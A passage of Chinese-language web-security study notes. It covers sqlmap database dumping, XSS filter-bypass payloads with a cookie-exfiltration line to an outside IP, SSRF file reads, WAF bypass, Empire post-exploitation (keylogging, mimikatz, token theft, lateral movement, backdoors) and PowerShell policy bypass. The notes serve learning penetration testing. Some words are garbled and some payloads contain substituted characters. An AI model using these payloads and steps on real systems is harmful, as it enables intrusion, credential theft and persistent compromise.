web安全攻防笔记
1.SQLmap?
是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該數據庫的服務器。
支持的數據庫:MySQL,Oracle, PostgreSQL, SQL Server,? Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
(1)????? 安裝sqlmap前,需要先安裝Python3.X
Python Releases for Windows | Python.org
(2)????? 在環境變量path中,增加python3.x 安裝路徑
(3)????? 下載sqlmap并解壓縮:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -u?http://xxx.xxx.xxx/
Python sqlmap.py –help 查看幫助 borp
?sqlmap支持五種不同的注入模式:
- UNION query SQL injection(可聯合查詢注入)
- uError-based SQL injection(報錯型注入)
- uBoolean-based blind SQL injection(布爾型注入)
- uTime-based blind SQL injection(基于時間延遲注入)
- uStacked queries SQL injection(可多語句查詢注入)
2.sqlmap 常用命令參數
-u? /--url? 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 從文本中獲取多個目標掃描,但是每一個一個url. sqlmap -m urllist.txt
-r 從文件中加載HTTP請求,這樣的話就不需要再去設定cookie,POST數據….
--dbs 返回當前連接的數據庫
--current-db 返回當前網站數據庫的數據庫用戶
-D 指定數據庫系統的數據庫名
--tables 列舉數據庫表
-T 指定數據庫表名
--columns 列舉數據庫表中的字段
-C 指定數據庫表中的字段名
--dump 獲取整個表的數據
3.設置回顯等級
參數: -v默認為1
0 只顯示python錯誤以及嚴重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(級別越高顯示信息越多)
?4同時顯示HTTP請求。
5同時顯示HTTP響應頭。
6同事顯示HTTP響應頁面。
--data 把數以post方式提交,sqlmap會像檢測GET參數一樣檢測POST過去的參數。
--cookie (用于區分用戶)
可能會有漏洞,當web登錄時,抓取數據包。
?4.設置HTTP數據包相關參數
HTTP User-Agent 頭
參數:--random-agent 會從sqlmap/txt/user-agents.txt中隨機產生User-Agent頭。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 檢查uesr-agent中的注入點, level>=3才會去檢查user-agent頭是否存在注入漏洞
5.設定探測等級:--level
共有五個等級 默認為1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列數據庫管理用戶
--current-user 在數據庫中,目前連接的用戶
--is-dba 判斷當前是否為管理,是的話返回true
--proxy 指定一個代理服務器? eg: -proxy?http://xxxxxx.8080
--os-shell 前提:需要網站的物理路徑,其次是需要有FIILE權限
?6.Sqlmap“六步”
第一步:判斷是否注是注入點
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”
檢測該網站是否存在漏洞?? 白色加粗字體為注入點 也就是攻擊對象
?
第二步:獲取數據庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” –dbs
?
第三步:查看當前應用程序所用數據庫
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)”? --current-db
?
四:列出指定數據庫的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security(目標數據庫)”—tables
?
五:讀取指定表中的字段名稱
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security”-T users –colunms
?
六:讀取指定字段內容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” -D”security”-T users -C username,password –dump(dump=下載,脫庫)
?
?
判斷當前數據庫用戶權限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標鏈接)” --is-dba
如果是TRUE? ,那么權限該用戶很大。
?
-roles 列出數據庫管理員角色
?如果當前用戶有權限讀取包含所有用戶的表,輸入該命令會列舉出每個用戶的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
?
-referer HTTPReferer頭
當–level參數設定為3或3以上時,會嘗試對HTTP Referer注入。可以使用referer命令來欺騙,如--referer https://mp.mysite.net
-sql-shell 運行自定義的sql語句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
運行任意操作系統命令:
選擇后臺語言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
?
--os-cmd=whoami
--os-shell
(以你的電腦為跳板,對局域網進行滲透,或留后門)
--file-read 從數據庫服務器中讀取文件? :當前用戶有權限使用特定的函數時,讀取的文件可以是文本,也可以是二進制文件。
上傳文件到數據庫服務器中:
--file-write
--file-dest
讀取指定數據庫用戶的密碼?
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
SQLMAP進階 常用tamper腳本
??apostrophemask.py 將引號替換為utf-8,用于過濾單引號 (易容術)
適用數據庫:ALL
作用:將引號替換為utf-8,用于過濾單引號
使用腳本前:tamper("1 AND '1'='1")
使用腳本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
??multiplespaces.py? 圍繞sql關鍵字添加多個空格 去繞過
適用數據庫:ALL
作用:圍繞sql關鍵字添加多個空格
使用腳本前:tamper('1 UNION SELECT foobar')
使用腳本后:1 UNION SELECT foobar
?
3. Burp Suite工具
一.配置及代理設置
1.使用前配置
①選擇代理Proxy選項卡
②選擇設置option選項卡
③Edit Running打勾? 124.0.0.1:8080
配置成功
歷史訪問
?
二.功能模塊講解
?
?
模塊介紹
send to spider 發送給爬蟲模塊
do a active scan 進行一次主動掃描
send to intruder 發送給爆破模塊
send to repearter 發送給重放模塊
send to comparer 發送給比對模塊
send to decoder 發送給解碼模塊
request in browser 將請求在瀏覽器重放
?四:MYSQL與SQL注入
mysql知識點- 基本查詢語句
select+以下語句
?????? version() 數據庫版本
?????? database() 數據庫名
?????? user() 用戶名
?????? current_user() 當前用戶名
?????? system_user() 系統用戶名
?????? @@datadir 數據庫路徑
?????? @@version_compile_os 操作系統版本
-order by(排序) 語法
-聯合查詢
order by 1—
order by 2—確定字段數
?? 使用UNION操作符注入另外一個select查詢,并將查詢結果附加在第一次查詢結果之后。第二次查詢能夠從另外一個完全不同的數據庫表中提取數據
? 注意: 相同的列結構
????????????? ?需要有知道表結構,列結構
?????? exists()函數猜解表明
???????information_schema 是一個mysql系統自帶的元數據庫
information_schema.SCHEMATA 查看所有的數據庫
五、 XSS基礎
1、什么是XSS?
?????? 中文名為跨站腳本攻擊,跨站腳本,(Cross-Site Scripting, XSS),當目標網站用戶在渲染HTML文檔的過程中,出現非預期的腳本指令并執行時,XSS就發生了。
2、攻擊者給予應用惡意XSS代碼,導致用戶訪問應用或服務器時執行代碼,導致被XSS攻擊。
? 攻擊者→服務器→用戶(xss是一種迫使Web站點回顯可執行代碼的攻擊技術,而這些可執行代碼由攻擊者提供、最終為用戶瀏覽器加載)
3、XSS的危害: 1.網絡釣魚,包括盜取各類用戶的賬號
??????????????????????????? 2.竊取用戶cookies資料,從而獲取用戶信息。
??????????????????????????? 3.獲取客戶端信息,IP/端口等
??????????????????????????? 4.劫持用戶瀏覽器會話,從而執行任意操作
??????????????????????????? 5.強制彈出窗口。
??????????????????????????? 6.網頁掛馬,進行惡意操作
??????????????????????????? 7.進行大量的客戶端攻擊 如DDoS攻擊
??????????????????????????? 8.控制受害者機器向其他客戶端攻擊
4、XSS分類??
①反射型 :非持久型,調取用戶cookie或者進行釣魚,常常為通過引誘用戶點擊一個惡意鏈接來實施攻擊。
(特點:
① 主要用于將惡意腳本附加到URL地址的參數中
② 只在用戶單擊url時觸發,而且只執行一次,非持久化
③常用來竊取客戶端 Cookies
或進行釣魚欺騙.
④常常為通過引誘用戶點擊一
個惡意鏈接來實施攻擊的)
name為可控參數
?
我們可以通過執行惡意代碼彈窗,那么也能做些對我們有利的事情。
?????? 當我們構造好了如下惡意代碼,發送給受害者。
<script>alert(document.cookie)</script>
?????? 將會彈出用戶的cookie值,我們構造js代碼,將該cookie值發送至我們自己的服務器,或者用XSS平臺接收該cookie(例如https://xsshs.cn/),我們就能通過該cookie非法登錄受害者的賬戶。
- 利用XSS彈出惡意警告框
??? <script>alert('hacked by cl4y')</script>
- ?網頁不停刷新
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
- 獲得cookie
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
- 劫持流量(跳轉到你的博客強行吸粉)
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 將XSS代碼嵌入dom文檔(每一個網頁),通過JS腳本對文檔對象進行編輯從而修改頁面元素,增加漏洞。?
?xss平臺
1.獲取COOKIE(這是必須的最基本的功能)
2.獲取源碼(取當前網頁的源碼)
3.截圖(可自己修改為連續截圖)
https://xss.pt
https://xssaq.com
- XSS利用——無任何過濾
- <scirpt>
<scirpt>alert(1);</script> - <img>
<img src=1 οnerrοr=alert("xss");>???????? //onerror等事件,可以調用js - <input>
<input οnfοcus="alert('xss');" autofocus> - <svg>
<svg οnlοad=alert("xss");> - <iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe>????? //src中支持偽協議 - <textarea>
<textarea οnfοcus=alert("xss"); autofocus>
- <scirpt>
- 往往用戶可控的參數都進行了過濾,不會讓你用一個<script>標簽就輕易攻擊成功
<script>shellcode</script>
XXS繞過:
- 關鍵字繞過
- 空格繞過
- 用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
- 關鍵字繞過
- 大小寫繞過? <ImG sRc=x onerRor=alert("xss");>
- 利用其他標簽
- 雙寫關鍵字? <imimgg srsrcc=x οnerrοr=alert("xss");>
- 字符拼接????? <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
???????????? <script>top["al"+"ert"](`xss`);</script>
???????????? - 利用函數進行編碼繞過
- Unicode繞過
<img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函數進行編碼繞過 - ASCII碼
<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> - Hex繞過
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> - Base64編碼
<img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">????????????
- Unicode繞過
- 空格繞過
- 過濾括號
- 當括號被過濾的時候可以使用throw來繞過
<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //異常處理 - 反引號
<img src=x οnerrοr=alert`1`>
- 當括號被過濾的時候可以使用throw來繞過
- 過濾雙引號,單引號
- 反引號
<img src=1 οnerrοr=alert`1`;>
- 反引號
- js事件
- 當某個位置的可控點在一個標簽內,那么或許可以通過js事件來完成xss操作
- <img src=1 οnerrοr=alert`1`;>
?
- 混淆:
利用html標簽格式的不嚴格、容錯性。- 關鍵字中加空格
- 加TAB
- 回車
url編碼
<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介紹:? 一種對網站的惡意使用。與 xss相比不大流行(因此對其防范相當稀少,比xss更加具有危險性。
?? 原理:利用目標用戶身份,以目標用戶名義執行非法操作(以目標用戶名義發郵件,消息,盜取目標賬號,購買商品,虛擬貨幣轉賬等),會泄露目標用戶的財產安全。
????? Ps:(CSRF漏洞經常用來制作蠕蟲攻擊,刷SEO流量)
靶場實戰:漏洞分析:
??????????? :
?
Ssrf漏洞:是一種由攻擊者構造請求,由服務器發起請求的安全漏洞。與csrf最大的區別是一個是服務器,一個是由客戶端發起的。
在域名后增加url=語句,從而利用ssrf漏洞篡改腳本訪問的地址。
攻擊方式如下:
A,對外網,服務器所在的內網,本地進行端口掃描,獲取的banner信息。
B,攻擊運行在內網或本地的應用程序。
C,對內網web應用進行指紋識別,識別企業內部的資產信息。
D.攻擊內外網的web應用,主要是用HTTP請求就可以實現的攻擊(比如struts2,sqli
等等)
E,利用file協議讀取本地文件。
?SSRF漏洞利用:
測試地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
頁面ssrf.php實現的功能獲取GET參數URL,然后將url的內容返回網頁上。
如果將請求的網址篡改為http://www.baidu.com,則會顯示http://www.baidu.com的網頁內容,但是,當設置參數URL為內網地址時,則會泄露內網信息。
訪問ssrf.php?Url=file://C:/wwindows/win.ini即可讀取本地文件。
?
Ssrf漏洞修復建議:
七,Empire
Empire是一款針對Windows平臺的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權到滲透維持的一系列功能。Empire實現了無需powshell.exe就可運行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內置模塊有鍵盤記錄、Mimikatz、繞過UAC、內網掃描等,使用能夠躲避內網檢測和大部分安全防護工具的查殺,簡單來說就有點類似Metasploit,是一個基于PowerShell的遠程控制木馬。
Empire運行在linux平臺上
官方下載地址,不過很久沒有更新,需要Python 2.6/2.7環境
https://github.com/EmpireProject/Empire
KALI示例:?????
git clone https://github.com/EmpireProject/Empire.git
?
然后安裝Empire的依賴,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若沒有安裝pip庫,則需要先通過apt-get install pip進行安裝)
./install.sh
在安裝完依賴以后,返回上一級文件,啟動Empire工具,命令如下:
cd ..
./empire
? 若啟動失敗,則可能是因為依賴未完全安裝好,只需要手動通過pip install xxx安裝未安裝好的依賴即可。
啟動時如果遇到如下報錯
?
可以將urllib3版本降級
pip install urllib3==1.22
重新設定
bash reset.sh
基本使用會涉及如下內容:
1.幫助文檔
2.設置監聽
3.生成木馬
4.連接主機和基本使用
5.信息收集
6.權限提升
幫助文檔
?運行Empire后,輸入help命令查看具體的使用幫助。
?
設置監聽步驟如下:
listeners #進入監聽線程界面
uselistener #設置監聽模式
info #查看具體參數設置
set #設置相應參數
execute #開始監聽
輸入Listeners命令進入監聽界面,按TAB鍵可以補全命令,按兩次TAB鍵或者help可以顯示可以利用的模塊
輸入uselistener來設置采用何種監聽模式,雙擊TAB可以看到有以下可以使用的模式。
?
設置監聽
這里采用http監聽模式,輸入uselistener http。
然后輸入info命令查看具體參數設置。其中Require為True的值都需要被設置。
?
通過set配置參數,并提供execeute執行,需要注意的是Empire不同于Metasploit,Empire命令是區分大小寫的
通過back返回上一級,使用listeners或者list可以查看所設置的監聽器
生成木馬
輸入usestager后 空格加TAB鍵 查看可以設置的木馬模式
木馬就類似Metasploit中的payload,其中multi為通用模塊,osx是Mac操作系統的模塊,剩下的是Windows的模塊。
我們以 windows/launcher_bat為例,給大家說下過程,其他的使用都類似
要使用launcher_bat,首先輸入usestager windows/launcher_bat,然后輸入info命令查看詳細參數
?
通過set配置參數,我們需要設置一個 Listener 參數,即監聽的名字(前面我們給監聽起得一個名字test1),通過execeute執行,
文件會生成到 tmp 目錄下,如下所示在目標主機上運行生成的launcher.bat,輸入 agents 可以查看已經獲得的會話
?
我們再介紹另一種生成木馬方式:launcher
如果只需要簡單的powershell 代碼,在設置完相應的參數后,可直接在監聽器(listeners)中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼
然后復制生成的payload 在目標機器上執行
可以看到有會話生成,輸入 agents 可以查看已經獲得的會話
連接主機和基本使用
?在目標主機反彈成功以后,可以通過agents命令列出當前已連接的主機,這里要注意如果有帶有(*)的是已提權成功的主機。
然后使用interact命令連接主機,可以使用Tab鍵補全主機的名稱,連接成功以后可以通過rename修改會話名稱
可以通過help查看可以使用的命令
輸入help agentcmds可以查看可供使用的常用命令輸入help agentcmds可以查看可供使用的常用命令可以通過pwd查看當前目錄
upload可以上傳文件,通過cat查看文件內容
使用某些CMD命令時,要使用“shell+命令的形式” ,如下
?
Empire主要用于后滲透。所以信息收集是比較常用的一個模塊,可以使用searchmodule命
令搜索需要使用的模塊,這里通過鍵如usemodule collection然后按Tab查看完整的列表
1.屏幕截圖
?輸入以下命令,然后執行即可
?2.鍵盤記錄
?輸入以下命令usemodule collection/keylogger,通過info可以查看詳細信息,execute執行
???? 可以通過jobs kill JOB_name停止鍵盤記錄
3.ARP掃描
Empire也內置了ARP掃描模塊,輸入以下命令即可使用該模塊,這里要設置Range參數
?4.查找域管登陸服務器IP
在內網滲透中,要想拿到內網中某臺機器的域管權限,方法之一就是找到域管登錄的機器,然后橫向滲透進去,竊取域管權限,從而拿下整個域,以下這個模塊就是用來查找域管登錄的機器的。
使用模塊usemodule situational_awareness/network/powerview/user_hunter
權限提升
提權,顧名思義就是提高自己在服務器中的權限,就比如在Windows中,你本身登陸的用戶是Guest,通過提權后,就會變成超級管理員,擁有了管理Windows的所有權限。以下是常見幾種提權方式:
1.Bypass UAC
UAC介紹
UAC(UserAccount Control,用戶賬戶控制)簡言之就是在Vista及更高版本中通過彈框進一步讓用戶確認是否授權當前可執行文件來達到阻止惡意程序的目的。
為了遠程執行目標的exe或者bat可執行文件繞過此安全機制,以此叫BypassUAC(不進行彈窗直接運行執行文件)
輸入以下命令,設置Listener參數,運行execute,會發現成功上線了一個新的反彈
返回agents,通過list可以看到有一個新的會話,并且帶有*,說明提權成功。
2.PowerUp
?Empire內置了PowerUp的部分工具,用于系統提權,主要有Windows錯誤系統配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8種提權方式,輸入以下命令,然后通過tab鍵查看完整列表
查找系統中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模塊一樣,該模塊可以執行所有腳本檢查系統漏洞
我們可以通過BypassUAC進行提權
3.通過溢出漏洞
本地溢出提權首先要有服務器的一個普通用戶權限,攻擊者通常會向服務器上傳本地溢出程序,在服務器端執行,如果系統存在漏洞,那么將溢出Administrator權限。
這里我們使用ms16-032來提權,輸入以下命令即可通過溢出漏洞進行提橫向滲透,就是在已經攻占部分內網主機的前提下,利用既有的資源嘗試獲取更多的憑據、更高的權限,進而達到控制整個內網、擁有最高權限、發動類似 APT 的目的。
在橫向滲透中,最先得到的主機,以及之后新得到的主機,會成為突破口、跳板。如同一個不斷擴大的圓形,獲得的主機越多,圓能觸及之處越大,讓其周遭的「橫向」部分由未知成為已知。
1.令牌竊取
我們在獲取到服務器權限后,可以使用內置mimikatz獲取系統密碼,執行完畢后輸入creds命令查看Empire列舉的密碼。如下圖所示
從這里發現有域用戶曾在此服務器上登錄,此時可以竊取域用戶身份,然后進行橫向移動
首先先來竊取身份,使用命令pth<ID>,這里的ID號就是creds下的CredID號,我們這里來竊取administrator的身份令牌,執行pth 7命令
使用steal_token PID命令就竊取了該身份令牌了,如下圖所示。
我們先嘗試訪問域內另一臺主機WIN7-X86的“C$”,順利訪問,如下圖所示。
輸入revtoself命令可以將令牌權限恢復到原來的狀態
2.會話注入
我們也可以使用usemodule management/psinject模塊來進程注入,獲取權限,輸入info查看參數設置,如下圖所示。
設置下Listeners和ProcID這2個參數,這里的ProcID還是之前的CMD的1380,運行后反彈回一個域用戶權限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下經常使用的模塊,還有pstools工具包當中也有psexec,缺點是該工具基本殺毒軟件都能檢測到,并會留下日志,而且需要開啟admin$ 445端口共享。優點是可以直接返回SYSTEM權限。這里我們要演示的是Empire下的Invoke-Psexec模塊。
使用該模塊的前提是我們已經獲得本地管理員權限,甚至域管理員賬戶,然后以此來進一步持續滲透整個內網。
我們測試該模塊前看下當前agents,只有一個IP為192.168.31.251,機器名為WIN7-64的服務器,如下圖所示。
現在使用模塊usemodule lateral_movement/invoke_psexec滲透域內另一臺機器WIN7-X86,輸入info查看設置參數,如下圖所示。
這里要設置下機器名和監聽,輸入下列命令,反彈成功
輸入agents命令查看當前agents,多了一個IP為192.168.31.158,機器名為WIN7-X86的服務器
攻擊者在獲取服務器權限后,通常會用一些后門技術來維持服務器權限,服務器一旦被植入后門,攻擊者如入無人之境。服務器重啟后,我們的后門程序仍能觸發繼續運行。這里講一些window服務端常見的后門技術。
1.權限持久性劫持shift后門
shitf后門,其實就是使用了windows系統的粘滯鍵功能,當連按5次shift鍵的時候就會啟動粘滯鍵程序。然后后門程序替換掉這個程序,然后通過按5次就來啟動后門。
輸入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模塊,可以輸入info查看參數,set設置相關參數
運行后,在目標主機遠程登錄窗口按5次shift即可觸發后門,有一個黑框一閃而過,如下圖所示
這時看我們的Empire已經有反彈代理上線
2.注冊表注入后門
使用usemodule persistence/userland/registry模塊,運行后會在目標主機啟動項添加一個命令,可以輸入info查看信息
按如下命令設置其中幾個參數,如下圖所示。
重啟目標主機,用戶登錄系統后,會有反彈會話生成
在實際滲透中,當拿到webshell上傳的Metasploit客戶端無法繞過目標主機的殺軟時,可以使用PowerShell來繞過,也可以執行Empire的Payload來繞過,成功之后再用Empire的模塊將其反彈回Metasploit。
首先在Metasploit我們使用multi/script/web_delivery模塊,輸入如下命令
使用usemodule code_execution/invoke_metasploitpayload模塊,輸入info看下參數,如下圖所示
這里我們只需修改1個參數URL,
修改為前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令設置完畢,然后執行
Metasploit收到Empire反彈回來的shell,如下圖所示。
文件上傳漏洞概述:在現代互聯網的我web應用程序中,上傳文件是一種常見的功能,上傳文件的時候如果服務器腳本語言對上傳的文件進行嚴格的過濾就有可能上傳惡意文件,從而控制整個網站,甚至是服務器。
存在原因:傳文件時,如果服務器代碼,對客戶端上傳的文件進行驗證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp,aspx,php,jsp等格式的文件)
危害:非法用戶可以利用上傳的惡意腳本文件控制整個網站,。甚至控制服務器,這個惡意文件又稱webS核力量,也可將腳本稱為一種網頁后門,WebShell叫阿奔具有強大功能,比如查看服務器中的文件,執行系統命令。
2,常見的上傳檢測規則:
A,服務器MIME類型檢測Content-type內容
B,客戶端JavaScript檢測 檢測文件擴展名
C,服務器目錄路經檢測path參數
D,服務器文件名拓展名檢測estension內容
E,服務器文件內容檢測(是否合法或含有惡意代碼)?????????????
邏輯漏洞:
就是指攻擊者鯉魚精業務的設計缺陷,獲取敏感信息或破壞業務的完整性,
越權訪問:水平和垂直越權 。
越權訪問攻擊測試鏈接:http://172.16.200.12/yuequan/test2/admin/viewpassword.
WAF:(web應用防火墻)是通過執行一系列對HTTP/HTTPS的安全策略來專門為web應用提供保護。
WAF類型: 軟件型(直接檢測服務器上是否存在WEBshell)
硬件型(支持多種部署,在旁聽監聽模式時只記錄攻擊不進行攔截)
云waf(一般以反向代理的形式工作,通過配置NS記錄干活CNAME記錄,是對網站的請求優先經過WAF主機,經過WAF過濾后,將認為無害的請求報文在傳輸給實際網站服務器進行請求)
網站系統內置WAF(在網站內內置的過濾,直接鑲嵌在代碼里,自由度比較高,有以下四種:①輸入參數強制類型轉換②輸入參數合法性檢測③關鍵函數執行,對經過代碼流程的輸入進行檢測④對輸入的數據進行替換過后再繼續執行代碼執行流程)網站系統內置的WAF與業務更加切合,在對安全與業務都比較了解的情況下,可更
少的收到誤報與漏報。
WAF判斷 方法:①SQLMap?? 輸入sqlmap.py -u “http://xxx.com” --identify-waf --batch??? 便可找到waf類型
②直接在相對應網站的url后加最基礎的測試語句并放在一個不存在的參數名中。
繞過waf的方法:1,大小寫混合
2url編碼
3,替換關鍵字
4,使用注釋
5,多參數請求拆分
6,HTTP參數污染
7,生僻函數
8,尋找網站原站IP
9,注入參數到cookies中
Meteasploit技術:
?? 在使用Kali操作系統是應注意即使更新源,就像平時及時更新手機APP更新命令如下:
A,apt-get update:只更新軟件包的索引源,作用:同步源的軟件包的索引信息,從而進行軟件更新。
B,Apt-get upgrade:升級系統上安裝的所有軟件包,如果失敗則保持更新之前的狀態。
Apt-get dist-upgrade:升級整個Liunux系統(不僅升級所有已安裝的軟件包,而且會處理升級過程中可能出現的沖突,在某些情況下,他的部分升級需要人工參與)。
滲透攻擊大致步驟:
*掃描目標及系統,尋找可用漏洞。
*選擇并配置一個漏洞利用模塊。
*選擇并配置一個攻擊利用模塊。
*選擇一個編碼技術,用來繞過殺毒軟件的查殺。
*滲透攻擊。
Powershell
是一種基于任務的命令行解釋器和腳本環境,可以說是一種強大的shell,如同linux的bash,專為系統管理員而設計,以.NET框架為平臺,Windows PowerShell幫助IT專業人員和超級用戶控制和自動化管理Windows操作系統和運行在操作系統上的應用。現被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執行命令,也可以逃避Anti-Virus檢測。另外,可以把PowerShell看作命令行提示符cmd.exe的擴充。
?對于滲透,使用PowerShell場景:
第一種我們需要獲得免殺或者更好的隱蔽攻擊對方的win機器,可以通過釣魚等方式直接執行命令
第二種我們已經到了對方網絡,或是一臺DMZ的win機器,那么我們利用PowerShell對內網繼續深入
基于.NET框架
操作系統信任
提供win系列操作系統的幾乎一切訪問權限
win7之后默認安裝
腳本可以運行在內存中,不需要寫入磁盤
cmd.exe通常會被安全軟件阻止,一般PowerShell不會
常用攻擊工具:
?
可以輸入Get-Host或者$PSVersionTable.PSVERSION命令查看當前系統的PowerShell版本。
一個PowerShell腳本其實就是一個簡單的 文本文件,這個文件包含了一系列的 PowerShell命令,每個命令顯示為獨立的一行,PowerShell文件的后綴為 .PS1。
執行策略:
為防止惡意腳本的執行,PowerShell有一個執行策略,默認情況下,這個執行策略被設置為受限。
我們可以使用: Get-ExecutionPolicy? 命令查看PowerShell當前的執行策略。它有4個策略。
Restricted:腳本不能運行(默認設置)
RemoteSigned:本地創建的腳本可以運行,但是從網上下載的腳本不能運行(擁有數字證書簽名的除外)
AllSigned:僅當腳本由受信任的發布者簽名時才能運行;
Unrestricted:允許所有的腳本執行
另外修改PowerShell執行策略:Set-ExecutionPolicy 策略名 #該命令需要管理員權限運行
運行腳本:
運行一個腳本,必須鍵入完整的路徑和文件名,例如,你要運行一個名為a.ps1的腳本,可以鍵入c:\script\a.ps1
但如果PowerShell腳本文件在你的系統目錄中,那么在命令提示符后直接鍵入腳本文件名即可運行,如.\a.ps1的前面就加上“.\”,這和在Linux下執行Shell腳本的方法一樣。
管道:
管道的作用就是將一個命令的輸出作為另一個命令的輸入,兩個命令之間用管道符號(|)連接
例如:
假設停止所有目前運行中的,以“note"字符開頭命名的程序
Get-Process note*|stop-process
基本知識:
在PowerShell下,類似“cmd命令”叫做“cmdlet” ,其命令的命名規范很一致,都采用了 動詞-名詞的形式,如Net-Item,動詞一般為Add、New、Get、Remove、Set等。PowerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls ,并且PowerShell命令不區分大小寫。
后面會以文件操作為例講解PowerShell命令的基本用法
?
如果運行PowerShell腳本程序,必須用管理員權限將Restricted策略改成Unrestricted
在滲透測試時,就需要采用一些方法繞過策略來執行PowerShell腳本,列舉如下三種方式
1.繞過本地權限執行
2.本地隱藏繞過權限執行腳本
3.用IEX下載遠程PS1腳本繞過權限執行
總結
- 上一篇: 运用百度框架paddle进行手势识别【动
- 下一篇: 阿里云服务器1核1G1M能放多少个网站